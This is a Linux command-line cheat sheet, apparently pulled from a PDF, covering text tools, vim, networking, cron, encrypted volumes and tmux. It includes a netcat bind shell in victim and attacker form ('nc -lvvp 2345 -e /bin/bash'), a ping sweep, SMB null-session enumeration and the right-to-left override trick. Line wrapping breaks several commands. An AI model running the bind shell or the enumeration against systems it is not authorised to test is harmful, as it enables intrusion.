

AWK | CAT | GREP

AWK

Find line number of IP

```
awk '/197.128.145.39/{
print NR; exit }' ips.txt
```

CAT

With line numbers

```
cat -n file.txt
```

GREP

```
grep "href=" index.html | cut -d"/" -
f3 | grep icq.com | sort -u >
icqserver.txt
```

Count occurrences of x in

1906.py

```
cat 1906.py | grep -o \|wc -l
```

Find line number of IP

```
grep -n 197.128.145.39 ips.txt
```

Network

Show all eth network interfaces,
e.g. eth0, eth1...

```
dmesg | grep ^eth
```

Restart Networking

```
sudo service network-
manager restart
```

Whatportis

```
pip install whatportis
whatportis 21
```

CIDR Calculation

```
sudo apt-get install
sipcalc
sipcalc 192.168.1.0/24
```

DIFF & NDIFF (File Comparison)

diff file1 file2 (compare
files line by line)

ndiff file1 file2 (compare 2
nmap scans for changes)

Boot Process

1. Power on
2. BIOS
3. MBR - 1st sector of HDD
4. GRUB
5. Kernel
6. initramfs - Initial RAM disk
7. init - /sbin/init (daemons and services)
8. Command shell using getty
9. GUI - X Windows

Disable services from loading on login

```
systemctl disable apache2
(disable apache from auto-starting on boot/login)
```

Unicode

<http://superuser.com/questions/59418/how-to-type-special-characters-in-linux>

Example - RTL Override

Hold CTRL+SHIFT+U, then type in 202e

The invisible right-to-left override character will be inserted and anything typed after this character will be backwards.

Command Line Cheatsheet

Create and view interactive
cheatsheets on the command-line!

Set editor in path

```
nano .bashrc (in your home
directory)
export EDITOR="/bin/nano"
```

Install and use cheat

Command Line Cheatsheet (cont)

```
sudo pip install cheat
```

```
cheat netstat
```

Cheatsheets are stored in ~/.cheat/

Edit a cheatsheet

```
cheat -e foo
```

ASCII Table & Calculator

```
man ascii (show ascii table)
```

```
bc (command line calculator)
```

Permissions

Change ownership

```
sudo chown username
filename
```

Clone ownership

```
chown --
reference=otherfile
thisfile
```

FIND

Case insensitive -iname

```
sudo find -iname
fileorfoldername
sudo find -iname
fileorfoldername*
```

XARGS

Pingsweep

```
echo 192.168.9.{200..250}
| xargs -n 1 -P0 ping -c
1 | grep "bytes from"
```

Run command against files from find

```
find * | xargs exiftool
(Run exiftool against all files in
current directory and
subdirectories)
```

TREE (Directory Tree)

Show a directory tree

```
tree directoryname
```

Monitoring & Processes

WATCH

```
watch ls (run ls every 2secs)
```

TOP

```
top (view processes in detail)
```

```
htop (better alternative)
```

CRON JOBS

```
crontab -e (list and edit
```

```
cronjobs)
```

Generate your crontab line easily:

<http://crontab-generator.org/>

SSL Certificates

Follow instructions at -

<https://certbot.eff.org/>

To generate an auto-renewal
cronjob -

<http://crontab-generator.org/>

EXAMPLE:

```
crontab -e
17 3 * /root/certbot-auto renew --
quiet --no-self-upgrade
```

Hotkeys

Nautilus (Switch views)

CTRL+1

CTRL+2

CTRL+3

CTRL+H (show hidden)

CTRL+L (show location)

Nautilus Graphical Mode Search

ALT+F2

Deleted files go to

"~/local/share/Trash/files/"

Delete or CTRL+Delete = Move to
Trash

Shift+Delete = Permanent Delete



VI & VIM

I / INS = Insert Mode

SELECTING TEXT

v = select range

V = select entire line

d = delete selected text

COPY/PASTE

y = copy selection

yy = copy line

p = paste before cursor

DELETE

dd = delete line

x = cut selected text

d\$ = delete from cursor to end of line

UNDO / REDO

u = undo last action

CTRL+R = redo last action

EXIT

ZZ = save and quit

:w = save

:q! = quit without saving

FIND AND REPLACE

:%s/eth0/br0/g = find eth0 and replace with br0

:%s##blah#g = find and replace with blah

NANO

Copy and Paste

ALT+6 and CTRL+U

Show line numbers

nano -c filename

Output

To screen and file

```
command1 2>&1 | tee
log.txt
```

ls -al | tee file.txt

Append to screen and file

```
command1 | tee -a log.txt
```

Multiple Commands

```
cat rubbish.txt; ls
```

Netcat Bind Shell

Victim

```
nc -lvvp 2345 -e
/bin/bash
```

Attacker

```
nc -vn 192.168.1.177 2345
```

Base64 Encode & Decode

```
python
"blah".encode('base64')
"YXNjaWwKxLnR4dA==" .decode(
'base64')
```

Encrypted Volumes

<http://askubuntu.com/questions/63594>

```
/mount-encrypted-volumes-
from-command-line#63598
sudo apt-get install
cryptsetup
```

Decrypt & Mount

```
sudo cryptsetup luksOpen
/dev/sda1
my_encrypted_volume
sudo mkdir
/media/my_device
sudo mount
/dev/mapper/my_encrypted_v
olume /media/my_device
```

Unmount & Lock

```
sudo umount
/media/my_device
sudo cryptsetup luksClose
my_encrypted_volume
```

Auto-mount to Location

```
sudo udisks --mount
/dev/mapper/my_encrypted_v
olume
```

IP Assignment

MANUAL

Note: Changes are nonpersistent.

To make changes permanent, edit /etc/network/interfaces file.

```
ifconfig eth0
192.168.72.100/24 (configure
IP)
route add default gw
192.168.72.2 (add gateway)
echo nameserver 4.2.2.2 >
etc/resolv.conf (add DNS to
resolv.conf)
```

AUTO

```
dhclient eth0
ifconfig
killall dhclient
ps -ef | grep dhclient
```

Proxychains

<http://proxychains.sourceforge.net/howto.html>

```
/etc/proxychains.conf
(usage info)
proxychains firefox
google.com
```

Resolve google.com through proxy specified by proxychains.conf

SMB (Samba, NETBIOS)

RPCClient

<http://carnal0wnage.attackresearch.com/2010/06/more-with-rpcclient.html>

```
enum4linux -U -o
192.168.1.200
```

SMBClient

```
smbclient -L //TARGETIP
(list shares)
smbclient //TARGETIP/tmp
(connect to tmp folder)
```

SMB (Samba, NETBIOS) (cont)

```
smbclient -I
192.168.92.131 -R
virnet.com -N -U (capital i, -R
= domain, -N = no pass, -U = user)
```

TMUX

<https://danielmiessler.com/study/tmux/>

```
ssh blah@x.x.x.x
tmux
nmap -A etc...
```

CTRL+B, D (to exit and keep session running)

If the session dies

```
ssh blah@x.x.x.x
tmux attach (to connect to first
available session)
```

VNC Server

```
apt-get install
tightvncserver
vncserver
```

You will require a password to access your desktops...

View only password? n

```
netstat -antp | grep vnc
(usually runs on port 5901)
```